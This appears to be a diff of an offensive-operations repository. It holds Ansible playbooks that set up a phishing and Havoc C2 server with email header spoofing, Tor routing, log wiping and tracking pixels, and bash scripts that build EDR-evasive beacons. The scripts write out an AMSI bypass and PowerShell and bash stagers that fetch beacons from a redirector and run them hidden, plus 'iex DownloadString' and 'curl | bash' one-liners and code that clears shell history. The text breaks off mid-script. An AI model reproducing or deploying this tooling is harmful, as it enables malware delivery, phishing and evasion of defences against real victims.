- { src: "../templates/lotl-powershell.ps1.j2", dest: "/root/Tools/phishing/templates/lotl-powershell.ps1" }
- { src: "../templates/lotl-wmic.cmd.j2", dest: "/root/Tools/phishing/templates/lotl-wmic.cmd" }
- { src: "../templates/lotl-bitsadmin.cmd.j2", dest: "/root/Tools/phishing/templates/lotl-bitsadmin.cmd" }
- name: Set up CDN abuse configuration
template:
src: "../templates/cdn-abuse.py.j2"
dest: "/root/Tools/phishing/cdn-abuse.py"
mode: '0755'
owner: root
group: root
when: enable_cdn_abuse | default(false) | bool
- name: Create domain reputation monitoring
template:
src: "../templates/reputation-monitor.py.j2"
dest: "/root/Tools/phishing/reputation-monitor.py"
mode: '0755'
owner: root
group: root
- name: Set up cron job for reputation monitoring
cron:
name: "Domain reputation monitoring"
minute: "0"
hour: "*/4"
job: "/root/Tools/phishing/reputation-monitor.py >> /root/Tools/phishing/logs/reputation.log 2>&1"
- name: Create email header spoofing tools
template:
src: "../templates/header-spoofing.py.j2"
dest: "/root/Tools/phishing/header-spoofing.py"
mode: '0755'
owner: root
group: root
- name: Configure Tor for anonymization
template:
src: "../templates/torrc-phishing.j2"
dest: "/etc/tor/torrc"
backup: yes
notify: restart tor
when: enable_tor_routing | default(false) | bool
- name: Create user-agent rotation script
template:
src: "../templates/user-agent-rotation.py.j2"
dest: "/root/Tools/phishing/user-agent-rotation.py"
mode: '0755'
owner: root
group: root
- name: Set up automated evasion techniques
template:
src: "../templates/automated-evasion.py.j2"
dest: "/root/Tools/phishing/automated-evasion.py"
mode: '0755'
owner: root
group: root
handlers:
- name: restart tor
systemd:
name: tor
state: restarted
+344
View File
@@ -0,0 +1,344 @@
---
# Common tasks for configuring C2 server with Havoc C2 and EDR evasion
# Shared across all providers
- name: Update apt cache
apt:
update_cache: yes
- name: Disable default Kali MOTD
file:
path: "{{ ansible_env.HOME }}/.hushlogin"
state: touch
mode: '0644'
when: ansible_distribution == "Kali GNU/Linux"
- name: Set a custom MOTD
template:
src: "../templates/motd.j2"
dest: /etc/motd
owner: root
group: root
mode: '0644'
- name: Install base utilities and tools via apt
apt:
name:
- git
- wget
- curl
- unzip
- python3-pip
- python3-venv
- tmux
- pipx
- nmap
- tcpdump
- hydra
- john
- hashcat
- sqlmap
- gobuster
- dirb
- enum4linux
- dnsenum
- seclists
- responder
- golang
- proxychains
- tor
- crackmapexec
- jq
- build-essential
- zip
- unzip
- postfix
- net-tools
- certbot
- opendkim
- opendkim-tools
- dovecot-core
- dovecot-imapd
- dovecot-pop3d
- dovecot-sieve
- dovecot-managesieved
- yq
- build-essential
# Additional Havoc C2 dependencies
- mingw-w64
- nasm
- cmake
- ninja-build
- libfontconfig1
- libglu1-mesa-dev
- libgtest-dev
- libspdlog-dev
- libboost-all-dev
- libncurses5-dev
- libgdbm-dev
- libssl-dev
- libreadline-dev
- libffi-dev
- libsqlite3-dev
- libbz2-dev
- mesa-common-dev
- qtbase5-dev
- qtchooser
- qt5-qmake
- qtbase5-dev-tools
- libqt5websockets5
- libqt5websockets5-dev
state: present
- name: Create directories for operational scripts
file:
path: "{{ item }}"
state: directory
mode: '0700'
owner: root
group: root
with_items:
- /root/Tools
- /root/Tools/beacons
- /root/Tools/payloads
- name: Copy operational scripts
copy:
src: "{{ item }}"
dest: "/root/Tools/{{ item | basename }}"
mode: '0700'
owner: root
group: root
with_items:
- "../files/clean-logs.sh"
- "../files/secure-exit.sh"
- "../files/havoc_installer.sh"
- "../files/havoc_shell_handler.sh"
- "../files/secure_payload_sync.sh"
- name: Copy post-install script
copy:
src: "../files/post_install_c2.sh"
dest: "/root/Tools/post_install_c2.sh"
mode: '0700'
owner: root
group: root
- name: Copy port randomization script
copy:
src: "../files/randomize_ports.sh"
dest: "/root/Tools/randomize_ports.sh"
mode: '0700'
owner: root
group: root
- name: Create post-install instructions
template:
src: "../templates/POST_INSTALL_INSTRUCTIONS.txt.j2"
dest: "/root/POST_INSTALL_INSTRUCTIONS.txt"
mode: '0644'
owner: root
group: root
- name: Set up systemd timer for payload sync
shell: |
cat > /etc/systemd/system/payload-sync.service << 'EOF'
[Unit]
Description=Secure Payload Sync Service
After=network-online.target
[Service]
Type=oneshot
ExecStart=/root/Tools/secure_payload_sync.sh
User=root
Group=root
PrivateTmp=true
StandardOutput=null
[Install]
WantedBy=multi-user.target
EOF
cat > /etc/systemd/system/payload-sync.timer << 'EOF'
[Unit]
Description=Secure Payload Sync Timer
Requires=payload-sync.service
[Timer]
OnBootSec=5min
OnUnitActiveSec=30m
RandomizedDelaySec=30m
Persistent=true
[Install]
WantedBy=timers.target
EOF
systemctl daemon-reload
systemctl enable payload-sync.timer
systemctl start payload-sync.timer
- name: Install Havoc C2 Framework
shell: "/root/Tools/havoc_installer.sh"
args:
creates: "/root/Tools/Havoc"
async: 1800 # Allow 30 minutes for completion
poll: 0 # Don't wait for completion
register: havoc_installation_job
- name: Wait for Havoc installation to complete
async_status:
jid: "{{ havoc_installation_job.ansible_job_id }}"
register: job_result
until: job_result.finished
retries: 60 # Check every 30 seconds for up to 30 minutes
delay: 30
when: havoc_installation_job is defined
- name: Display Havoc installation output
debug:
var: havoc_installation_result.stdout_lines
when: havoc_installation_result.stdout_lines is defined
- name: Create Havoc payload generation script
template:
src: "../templates/generate_havoc_payloads.sh.j2"
dest: "/root/Tools/generate_havoc_payloads.sh"
mode: '0700'
owner: root
group: root
- name: Create Havoc C2 configuration from template
template:
src: "../templates/havoc-config.yaotl.j2"
dest: "/root/Tools/Havoc/data/havoc.yaotl"
mode: '0600'
owner: root
group: root
- name: Create Linux loader script template
template:
src: "../templates/linux_loader.sh.j2"
dest: "/root/Tools/linux_loader.template"
mode: '0644'
owner: root
group: root
- name: Create Windows PowerShell loader template
template:
src: "../templates/windows_loader.ps1.j2"
dest: "/root/Tools/windows_loader.template"
mode: '0644'
owner: root
group: root
- name: Create beacon server script from template
template:
src: "../templates/serve-havoc-payloads.sh.j2"
dest: "/root/Tools/serve-havoc-payloads.sh"
mode: '0700'
owner: root
group: root
vars:
redirector_subdomain: "{{ redirector_subdomain | default('cdn') }}"
domain: "{{ domain }}"
redirector_port: "{{ redirector_port | default('443') }}"
- name: Run port randomization if enabled
include_tasks: port_randomization.yml
when: randomize_ports | default(false) | bool
- name: Generate Havoc payloads
shell: "/root/Tools/generate_havoc_payloads.sh"
args:
creates: "/root/Tools/Havoc/payloads/manifest.json"
register: payload_generation_result
environment:
PATH: "{{ ansible_env.PATH }}:/usr/local/bin"
ignore_errors: yes
- name: Display payload generation output
debug:
var: payload_generation_result.stdout_lines
when: payload_generation_result.stdout_lines is defined
- name: Start payload server
shell: |
nohup /root/Tools/serve-havoc-payloads.sh > /dev/null 2>&1 &
args:
executable: /bin/bash
register: beacon_server_result
- name: Create NGINX configuration fragment for redirector
template:
src: "../templates/redirector-havoc-fragment.j2"
dest: "/root/Tools/redirector-config.conf"
mode: '0644'
owner: root
group: root
vars:
c2_ip: "{{ ansible_host }}"
redirector_domain: "{{ redirector_subdomain }}.{{ domain }}"
- name: Create Havoc usage guide
template:
src: "../templates/havoc-guide.j2"
dest: "/root/havoc-guide.txt"
mode: '0600'
owner: root
group: root
vars:
c2_ip: "{{ ansible_host }}"
redirector_domain: "{{ redirector_subdomain }}.{{ domain }}"
- name: Include traffic flow configuration
include_tasks: "../tasks/traffic_flow_config.yml"
- name: Set up cron job for log cleaning if zero-logs enabled
cron:
name: "Clean logs"
minute: "0"
hour: "*/6"
job: "/root/Tools/clean-logs.sh > /dev/null 2>&1"
when: zero_logs | bool
- name: Ensure SSH key for redirector access is available
block:
- name: Copy deployment SSH key to C2 for redirector access (AWS)
copy:
src: "~/.ssh/c2deploy_{{ deployment_id }}.pem"
dest: "/root/.ssh/redirector_key"
mode: '0600'
owner: root
group: root
when: provider == "aws"
- name: Copy deployment SSH key to C2 for redirector access (non-AWS)
copy:
src: "{{ ssh_key_path | replace('.pub', '') }}"
dest: "/root/.ssh/redirector_key"
mode: '0600'
owner: root
group: root
when: provider != "aws"
- name: Create SSH config for redirector access
blockinfile:
path: /root/.ssh/config
create: yes
mode: '0600'
owner: root
group: root
marker: "# {mark} ANSIBLE MANAGED REDIRECTOR CONFIG"
block: |
Host redirector
HostName {{ redirector_ip }}
User {{ ssh_user | default('root') }}
IdentityFile /root/.ssh/redirector_key
StrictHostKeyChecking no
when: not redirector_only | bool and redirector_ip is defined
# Include integrated tracker tasks if requested
- name: Include integrated tracker setup
include_tasks: "configure_integrated_tracker.yml"
when: setup_integrated_tracker | default(false) | bool
@@ -0,0 +1,150 @@
---
# Common task for configuring integrated email tracker on C2 server
- name: Check if integrated tracker setup is requested
debug:
msg: "Setting up integrated email tracker on C2 server"
when: setup_integrated_tracker | default(false) | bool
- name: Install required packages for tracker
apt:
name:
- python3-pip
- python3-venv
- python3-pillow
- nginx
- certbot
- python3-certbot-nginx
- jq
state: present
update_cache: yes
when: setup_integrated_tracker | default(false) | bool
- name: Create tracker directory
file:
path: /root/Tools/tracker
state: directory
mode: '0755'
owner: root
group: root
when: setup_integrated_tracker | default(false) | bool
- name: Create tracker data directory
file:
path: /root/Tools/tracker/data
state: directory
mode: '0755'
owner: root
group: root
when: setup_integrated_tracker | default(false) | bool
- name: Create tracker system user
user:
name: tracker
system: yes
shell: /usr/sbin/nologin
home: /root/Tools/tracker
create_home: no
when: setup_integrated_tracker | default(false) | bool
- name: Create Python virtual environment for tracker
pip:
virtualenv: /root/Tools/tracker/venv
name:
- flask
- pillow
- gunicorn
virtualenv_command: /usr/bin/python3 -m venv
environment:
PATH: "/usr/local/bin:/usr/bin:/bin"
vars:
ansible_python_interpreter: /usr/bin/python3
when: setup_integrated_tracker | default(false) | bool
- name: Copy tracker application code
copy:
src: "../files/simple_email_tracker.py"
dest: /root/Tools/tracker/simple_email_tracker.py
mode: '0755'
owner: root
group: root
when: setup_integrated_tracker | default(false) | bool
- name: Copy tracker statistics CLI tool
copy:
src: "../files/tracker-stats.sh"
dest: /root/Tools/tracker/tracker-stats.sh
mode: '0755'
owner: root
group: root
when: setup_integrated_tracker | default(false) | bool
- name: Copy systemd service file for tracker
copy:
src: "../files/tracker.service"
dest: /etc/systemd/system/tracker.service
mode: '0644'
owner: root
group: root
when: setup_integrated_tracker | default(false) | bool
- name: Set correct permissions for tracker directories
file:
path: "{{ item }}"
state: directory
owner: tracker
group: tracker
recurse: yes
loop:
- /root/Tools/tracker
- /root/Tools/tracker/data
when: setup_integrated_tracker | default(false) | bool
- name: Create NGINX site config for tracker
template:
src: "../files/tracker-nginx.conf"
dest: /etc/nginx/sites-available/tracker
mode: '0644'
owner: root
group: root
vars:
tracker_domain: "{{ tracker_domain | default('track.' + domain) }}"
when: setup_integrated_tracker | default(false) | bool
- name: Enable tracker NGINX site
file:
src: /etc/nginx/sites-available/tracker
dest: /etc/nginx/sites-enabled/tracker
state: link
when: setup_integrated_tracker | default(false) | bool
- name: Configure redirector to proxy tracking requests
lineinfile:
path: /etc/nginx/sites-available/default
insertafter: "^\\s*location / {"
line: " # Email tracker proxy path\n location /px/(.*)\\.png$ {\n proxy_pass http://{{ c2_ip }}:443/pixel/$1.png;\n proxy_set_header Host {{ tracker_domain }};\n proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\n proxy_set_header X-Real-IP $remote_addr;\n proxy_set_header X-Forwarded-Proto https;\n }"
delegate_to: "{{ groups['redirectors'][0] }}"
when: setup_integrated_tracker | default(false) | bool and groups['redirectors'] is defined
- name: Set up SSL if requested
shell: |
certbot --nginx -d {{ tracker_domain }} --non-interactive --agree-tos -m {{ tracker_email }}
args:
creates: /etc/letsencrypt/live/{{ tracker_domain }}/fullchain.pem
when: setup_integrated_tracker | default(false) | bool and tracker_setup_ssl | default(true) | bool
ignore_errors: yes
- name: Start and enable tracker service
systemd:
name: tracker
state: started
enabled: yes
daemon_reload: yes
when: setup_integrated_tracker | default(false) | bool
- name: Add tracker alias to bashrc for easy access
lineinfile:
path: /root/.bashrc
line: 'alias tracker="/root/Tools/tracker/tracker-stats.sh"'
state: present
when: setup_integrated_tracker | default(false) | bool
@@ -0,0 +1,456 @@
#!/bin/bash
# EDR-evasive beacon generator for Havoc C2
# Every deployment produces completely unique payloads
# Configuration (automatically populated by Ansible)
HAVOC_DIR="/root/Tools/Havoc"
BEACONS_DIR="/root/Tools/beacons"
C2_HOST="{{ ansible_host }}"
REDIRECTOR_HOST="{{ redirector_subdomain }}.{{ domain }}"
REDIRECTOR_PORT="{{ redirector_port | default('9443') }}"
PROFILE_FILE="$HAVOC_DIR/config/profile.json"
# Ensure required directories exist
mkdir -p $BEACONS_DIR/windows
mkdir -p $BEACONS_DIR/linux
mkdir -p $BEACONS_DIR/staged
mkdir -p $BEACONS_DIR/shellcode
# Load Havoc configuration from profile
if [ -f "$PROFILE_FILE" ]; then
echo "[+] Loading Havoc configuration from profile..."
TEAMSERVER_PORT=$(jq -r '.teamserver_port' "$PROFILE_FILE")
ADMIN_USER=$(jq -r '.admin_user' "$PROFILE_FILE")
ADMIN_PASS=$(jq -r '.admin_pass' "$PROFILE_FILE")
HTTP_PORT=$(jq -r '.http_port' "$PROFILE_FILE")
HTTPS_PORT=$(jq -r '.https_port' "$PROFILE_FILE")
else
echo "[!] Warning: Profile file not found, using default values"
TEAMSERVER_PORT=40056
ADMIN_USER="admin"
ADMIN_PASS="admin"
HTTP_PORT=8080
HTTPS_PORT=443
fi
# Generate unique random values for each execution
random_string() {
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w ${1:-8} | head -n 1
}
# Anti-detection function to modify binary files
modify_binary() {
local input_file=$1
echo "[+] Applying anti-detection modifications to: $input_file"
# Create a temporary file
local temp_file="${input_file}.tmp"
cp "$input_file" "$temp_file"
# Modify the file based on its type
if file "$input_file" | grep -q "PE32"; then
# Windows EXE/DLL modifications
# Add random bytes to end of file
dd if=/dev/urandom bs=1 count=$(( RANDOM % 1000 + 100 )) >> "$temp_file" 2>/dev/null
# Modify PE header timestamps with random value
random_timestamp=$(printf '%08x' $(( RANDOM * RANDOM )))
printf "\\x${random_timestamp:0:2}\\x${random_timestamp:2:2}\\x${random_timestamp:4:2}\\x${random_timestamp:6:2}" | \
dd of="$temp_file" bs=1 seek=136 count=4 conv=notrunc 2>/dev/null
# Try to strip debug information
if command -v strip &> /dev/null; then
strip --strip-debug "$temp_file" 2>/dev/null || true
fi
elif file "$input_file" | grep -q "ELF"; then
# Linux ELF modifications
# Add random bytes to end of file
dd if=/dev/urandom bs=1 count=$(( RANDOM % 500 + 50 )) >> "$temp_file" 2>/dev/null
# Try to strip all symbols
if command -v strip &> /dev/null; then
strip --strip-all "$temp_file" 2>/dev/null || true
fi
fi
# Replace original with modified version
mv "$temp_file" "$input_file"
echo "[+] Binary modifications complete"
}
# Create advanced Havoc payload profile with evasion techniques
generate_profile() {
local type=$1
local profile_name="${type}_profile_$(random_string 8).json"
echo "[+] Creating evasive $type profile..."
# Generate random values for this profile
local sleep_time=$(( RANDOM % 10 + 2 ))
local jitter_percent=$(( RANDOM % 50 + 10 ))
if [ "$type" == "windows" ]; then
cat > "$BEACONS_DIR/$profile_name" << EOF
{
"Listener": "https",
"Demon": {
"Sleep": ${sleep_time},
"SleepJitter": ${jitter_percent},
"IndirectSyscalls": true,
"Inject": {
"AllocationMethod": $(( RANDOM % 3 )),
"ExecutionMethod": $(( RANDOM % 3 )),
"ExecuteOptions": $(( RANDOM % 2 ))
},
"Evasion": {
"StackSpoofing": true,
"SleazeUnhook": true,
"AmsiEtwPatching": true,
"SyscallMethod": $(( RANDOM % 3 )),
"EnableSleepMask": true,
"SleepMaskTechnique": $(( RANDOM % 4 ))
},
"Binary": {
"Subsystem": $(( RANDOM % 2 + 1 ))
}
}
}
EOF
elif [ "$type" == "linux" ]; then
cat > "$BEACONS_DIR/$profile_name" << EOF
{
"Listener": "https",
"Demon": {
"Sleep": ${sleep_time},
"SleepJitter": ${jitter_percent},
"Injection": {
"SpawnMethod": $(( RANDOM % 2 )),
"AllocationMethod": $(( RANDOM % 2 ))
},
"Evasion": {
"EnableSleepMask": true,
"SleepMaskTechnique": $(( RANDOM % 4 ))
}
}
}
EOF
fi
echo "$profile_name"
}
# Generate Havoc payloads with EDR evasion techniques
generate_payloads() {
echo "[+] Generating EDR-evasive Havoc beacons..."
# Windows EXE
win_profile=$(generate_profile "windows")
win_output="update_win_$(random_string 8).exe"
echo "[+] Creating Windows beacon: $win_output with profile $win_profile"
$HAVOC_DIR/Client/havoc headless \
--teamserver "127.0.0.1:$TEAMSERVER_PORT" \
--username "$ADMIN_USER" \
--password "$ADMIN_PASS" \
--daemon \
--generate payload \
--listener "https" \
--config "$BEACONS_DIR/$win_profile" \
--format exe \
--output "$BEACONS_DIR/windows/$win_output" \
> /dev/null 2>&1
# Apply custom binary modifications
if [ -f "$BEACONS_DIR/windows/$win_output" ]; then
modify_binary "$BEACONS_DIR/windows/$win_output"
fi
# Windows DLL
dll_profile=$(generate_profile "windows")
dll_output="module_$(random_string 8).dll"
echo "[+] Creating Windows DLL: $dll_output with profile $dll_profile"
$HAVOC_DIR/Client/havoc headless \
--teamserver "127.0.0.1:$TEAMSERVER_PORT" \
--username "$ADMIN_USER" \
--password "$ADMIN_PASS" \
--daemon \
--generate payload \
--listener "https" \
--config "$BEACONS_DIR/$dll_profile" \
--format dll \
--output "$BEACONS_DIR/windows/$dll_output" \
> /dev/null 2>&1
# Apply custom binary modifications
if [ -f "$BEACONS_DIR/windows/$dll_output" ]; then
modify_binary "$BEACONS_DIR/windows/$dll_output"
fi
# Linux binary
linux_profile=$(generate_profile "linux")
linux_output="update_linux_$(random_string 8)"
echo "[+] Creating Linux binary: $linux_output with profile $linux_profile"
$HAVOC_DIR/Client/havoc headless \
--teamserver "127.0.0.1:$TEAMSERVER_PORT" \
--username "$ADMIN_USER" \
--password "$ADMIN_PASS" \
--daemon \
--generate payload \
--listener "https" \
--config "$BEACONS_DIR/$linux_profile" \
--format elf \
--output "$BEACONS_DIR/linux/$linux_output" \
> /dev/null 2>&1
# Apply custom binary modifications
if [ -f "$BEACONS_DIR/linux/$linux_output" ]; then
modify_binary "$BEACONS_DIR/linux/$linux_output"
fi
# Windows shellcode (staged payload)
shellcode_profile=$(generate_profile "windows")
shellcode_output="shellcode_$(random_string 8).bin"
echo "[+] Creating Windows shellcode: $shellcode_output with profile $shellcode_profile"
$HAVOC_DIR/Client/havoc headless \
--teamserver "127.0.0.1:$TEAMSERVER_PORT" \
--username "$ADMIN_USER" \
--password "$ADMIN_PASS" \
--daemon \
--generate payload \
--listener "https" \
--config "$BEACONS_DIR/$shellcode_profile" \
--format shellcode \
--output "$BEACONS_DIR/shellcode/$shellcode_output" \
> /dev/null 2>&1
echo "[+] All payloads generated successfully!"
# Return payload information
echo "$win_output:$dll_output:$linux_output:$shellcode_output"
}
# Generate PowerShell and bash stagers
generate_stagers() {
win_output=$1
linux_output=$2
echo "[+] Generating evasive stagers..."
# Create PowerShell stager directory
mkdir -p $BEACONS_DIR/stagers
# PowerShell stager with AMSI bypass and obfuscation
cat > $BEACONS_DIR/stagers/windows_stager.ps1 << 'EOF'
# PowerShell stager for Havoc C2 with AMSI bypass
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
# AMSI Bypass
function Bypass-AMSI {
$a = [Ref].Assembly.GetTypes()
ForEach($b in $a) {if ($b.Name -like "*iUtils") {$c = $b}}
$d = $c.GetFields('NonPublic,Static')
ForEach($e in $d) {if ($e.Name -like "*Context") {$f = $e}}
$g = $f.GetValue($null)
[IntPtr]$ptr = $g
[Int32[]]$buf = @(0)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
}
# Try to bypass AMSI
try { Bypass-AMSI } catch {}
# Randomize variables for evasion
$rnd1 = -join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_})
$rnd2 = -join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_})
$rnd3 = -join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_})
# Error handling with obfuscation
$ErrorActionPreference = 'SilentlyContinue'
$wc = New-Object System.Net.WebClient
$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36")
$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9")
$wc.Headers.Add("Referer", "https://REDIRECTOR_HOST/")
# Split URL to avoid detection
$r1 = "https://"
$r2 = "REDIRECTOR_HOST"
$r3 = "/content/windows/WINDOWS_EXE"
$url = $r1 + $r2 + $r3
# Download with jitter
$outpath = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), "$rnd1.exe")
try {
$wc.DownloadFile($url, $outpath)
Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000)
# Start process with extra obfuscation
$p = New-Object System.Diagnostics.Process
$p.StartInfo.FileName = $outpath
$p.StartInfo.WindowStyle = 'Hidden'
$p.StartInfo.CreateNoWindow = $true
$p.Start()
} catch {
# Fail silently
}
EOF
# Replace placeholder values in PowerShell stager
sed -i "s/REDIRECTOR_HOST/$REDIRECTOR_HOST/g" $BEACONS_DIR/stagers/windows_stager.ps1
sed -i "s/WINDOWS_EXE/$win_output/g" $BEACONS_DIR/stagers/windows_stager.ps1
# Bash stager with obfuscation techniques
cat > $BEACONS_DIR/stagers/linux_stager.sh << 'EOF'
#!/bin/bash
# Linux download and execute Havoc beacon with EDR evasion
# Function obfuscation
function x() {
command -v "$1" > /dev/null 2>&1
}
# Random temp filename
r() {
head /dev/urandom | tr -dc a-zA-Z0-9 | head -c${1:-10}
}
# Randomize variables
TMPVAR=$(r)
TMPFILE="/tmp/.${TMPVAR}"
# Check which download tool is available
if x curl; then
# Split URL to avoid signature detection
p1="https://"
p2="REDIRECTOR_HOST"
p3="/content/linux/LINUX_BINARY"
url="${p1}${p2}${p3}"
# Add random sleep between operations
sleep $(awk -v min=0.1 -v max=0.5 'BEGIN{srand(); print min+rand()*(max-min)}')
curl -s -o "$TMPFILE" "$url"
elif x wget; then
p1="https://"
p2="REDIRECTOR_HOST"
p3="/content/linux/LINUX_BINARY"
url="${p1}${p2}${p3}"
# Add random sleep between operations
sleep $(awk -v min=0.1 -v max=0.5 'BEGIN{srand(); print min+rand()*(max-min)}')
wget -q -O "$TMPFILE" "$url"
else
exit 1
fi
# Make executable and run in background
chmod +x "$TMPFILE"
# Add random sleep before execution
sleep $(awk -v min=0.1 -v max=0.5 'BEGIN{srand(); print min+rand()*(max-min)}')
("$TMPFILE" > /dev/null 2>&1 &)
# Clean up command history if possible
[ -f ~/.bash_history ] && cat /dev/null > ~/.bash_history 2>/dev/null
history -c 2>/dev/null
echo "Update complete."
EOF
# Replace placeholder values in Bash stager
sed -i "s/REDIRECTOR_HOST/$REDIRECTOR_HOST/g" $BEACONS_DIR/stagers/linux_stager.sh
sed -i "s/LINUX_BINARY/$linux_output/g" $BEACONS_DIR/stagers/linux_stager.sh
chmod +x $BEACONS_DIR/stagers/linux_stager.sh
echo "[+] Stagers created successfully"
}
# Create manifest file
create_manifest() {
local payload_info=$1
local win_output=$(echo $payload_info | cut -d':' -f1)
local dll_output=$(echo $payload_info | cut -d':' -f2)
local linux_output=$(echo $payload_info | cut -d':' -f3)
local shellcode_output=$(echo $payload_info | cut -d':' -f4)
echo "[+] Creating manifest file..."
cat > $BEACONS_DIR/manifest.json << EOF
{
"windows_exe": "$win_output",
"windows_dll": "$dll_output",
"linux_binary": "$linux_output",
"windows_shellcode": "$shellcode_output",
"redirector_host": "$REDIRECTOR_HOST",
"redirector_port": "$REDIRECTOR_PORT",
"c2_host": "$C2_HOST",
"havoc_teamserver_port": "$TEAMSERVER_PORT",
"havoc_http_port": "$HTTP_PORT",
"havoc_https_port": "$HTTPS_PORT",
"generation_time": "$(date -u +"%Y-%m-%dT%H:%M:%SZ")"
}
EOF
}
# Create reference file
create_reference() {
local payload_info=$1
local win_output=$(echo $payload_info | cut -d':' -f1)
local dll_output=$(echo $payload_info | cut -d':' -f2)
local linux_output=$(echo $payload_info | cut -d':' -f3)
local shellcode_output=$(echo $payload_info | cut -d':' -f4)
echo "[+] Creating reference file..."
cat > $BEACONS_DIR/reference.txt << EOF
Havoc C2 Server Details:
- C2 IP: $C2_HOST
- Redirector Domain: $REDIRECTOR_HOST
- Teamserver Port: $TEAMSERVER_PORT
- Admin User: $ADMIN_USER
- Admin Password: $ADMIN_PASS
Beacons Generated ($(date)):
- Windows EXE: $win_output (Path: $BEACONS_DIR/windows/$win_output)
- Windows DLL: $dll_output (Path: $BEACONS_DIR/windows/$dll_output)
- Linux Binary: $linux_output (Path: $BEACONS_DIR/linux/$linux_output)
- Windows Shellcode: $shellcode_output (Path: $BEACONS_DIR/shellcode/$shellcode_output)
Deployment Commands:
- PowerShell:
powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://$REDIRECTOR_HOST/windows_stager.ps1')"
- Linux:
curl -s https://$REDIRECTOR_HOST/linux_stager.sh | bash
Anti-Detection Features Enabled:
- Binary signature randomization
- PE/ELF header manipulation
- Sleep mask obfuscation
- AMSI bypass in stagers
- EDR unhooking
- Indirect syscalls
- Random sleep/jitter timing
EOF
}
# Main execution flow
echo "[+] Starting EDR-evasive Havoc beacon generation..."
echo "[+] Redirector: $REDIRECTOR_HOST"
echo "[+] C2 Host: $C2_HOST"
# Generate payloads
payload_info=$(generate_payloads)
# Generate stagers
generate_stagers $(echo $payload_info | cut -d':' -f1) $(echo $payload_info | cut -d':' -f3)
# Create manifest file
create_manifest "$payload_info"
# Create reference file
create_reference "$payload_info"
echo "[+] EDR-evasive beacon generation complete!"
@@ -0,0 +1,260 @@
#!/bin/bash
# EDR-evasive payload generator for Havoc C2
# Configuration (automatically populated by Ansible)
PAYLOADS_DIR="/root/Tools/Havoc/payloads"
C2_HOST="{{ ansible_host }}"
REDIRECTOR_HOST="{{ redirector_subdomain }}.{{ domain }}"
REDIRECTOR_PORT="{{ redirector_port | default('9443') }}"
TEAMSERVER_HOST="127.0.0.1"
TEAMSERVER_PORT="40056"
HAVOC_DIR="/root/Tools/Havoc"
HAVOC_CLIENT="$HAVOC_DIR/Client/havoc"
# Ensure required directories exist
mkdir -p $PAYLOADS_DIR/windows
mkdir -p $PAYLOADS_DIR/linux
mkdir -p $PAYLOADS_DIR/staged
# Generate unique random values for each execution
random_string() {
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w ${1:-8} | head -n 1
}
# Define Havoc profiles for different payloads
generate_profiles() {
echo "[+] Generating Havoc C2 profiles..."
# Profile for Windows EXE
cat > $PAYLOADS_DIR/win_exe.profile << EOF
{
"Listener": "https",
"Demon": {
"Sleep": 5,
"SleepJitter": 30,
"IndirectSyscalls": true,
"Inject": {
"AllocationMethod": 0,
"ExecutionMethod": 0,
"ExecuteOptions": 0
},
"Evasion": {
"StackSpoofing": true,
"SleazeUnhook": true,
"AmsiEtwPatching": true
},
"Formats": [
"Binary",
"Shellcode"
]
}
}
EOF
# Profile for Linux ELF
cat > $PAYLOADS_DIR/linux_elf.profile << EOF
{
"Listener": "https",
"Demon": {
"Sleep": 5,
"SleepJitter": 30,
"Injection": {
"SpawnMethod": 1,
"AllocationMethod": 1
},
"Formats": [
"Binary",
"Shellcode"
]
}
}
EOF
echo "[+] Profiles created successfully"
}
# Generate Havoc payloads with CLI arguments
generate_payloads() {
echo "[+] Generating Havoc payloads..."
# Windows EXE
win_output="agent_win_$(random_string 8).exe"
echo "[+] Generating Windows payload: $win_output"
$HAVOC_CLIENT headless \
--teamserver "$TEAMSERVER_HOST:$TEAMSERVER_PORT" \
--username "admin" \
--password "$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)" \
--daemon \
--generate payload \
--listener "https" \
--config "$PAYLOADS_DIR/win_exe.profile" \
--format exe \
--output "$PAYLOADS_DIR/windows/$win_output" \
> /dev/null 2>&1
# Windows DLL
dll_output="module_$(random_string 8).dll"
echo "[+] Generating Windows DLL: $dll_output"
$HAVOC_CLIENT headless \
--teamserver "$TEAMSERVER_HOST:$TEAMSERVER_PORT" \
--username "admin" \
--password "$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)" \
--daemon \
--generate payload \
--listener "https" \
--config "$PAYLOADS_DIR/win_exe.profile" \
--format dll \
--output "$PAYLOADS_DIR/windows/$dll_output" \
> /dev/null 2>&1
# Linux ELF
linux_output="agent_linux_$(random_string 8)"
echo "[+] Generating Linux payload: $linux_output"
$HAVOC_CLIENT headless \
--teamserver "$TEAMSERVER_HOST:$TEAMSERVER_PORT" \
--username "admin" \
--password "$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)" \
--daemon \
--generate payload \
--listener "https" \
--config "$PAYLOADS_DIR/linux_elf.profile" \
--format elf \
--output "$PAYLOADS_DIR/linux/$linux_output" \
> /dev/null 2>&1
echo "[+] All payloads generated successfully!"
# Return payload names for reference
echo "$win_output:$dll_output:$linux_output"
}
# Generate PowerShell and bash stagers
generate_stagers() {
win_output=$1
linux_output=$2
echo "[+] Generating stagers..."
# PowerShell stager
cat > $PAYLOADS_DIR/stagers/windows_stager.ps1 << EOF
# PowerShell stager for Havoc C2
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
\$ErrorActionPreference = 'SilentlyContinue'
\$wc = New-Object System.Net.WebClient
\$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36")
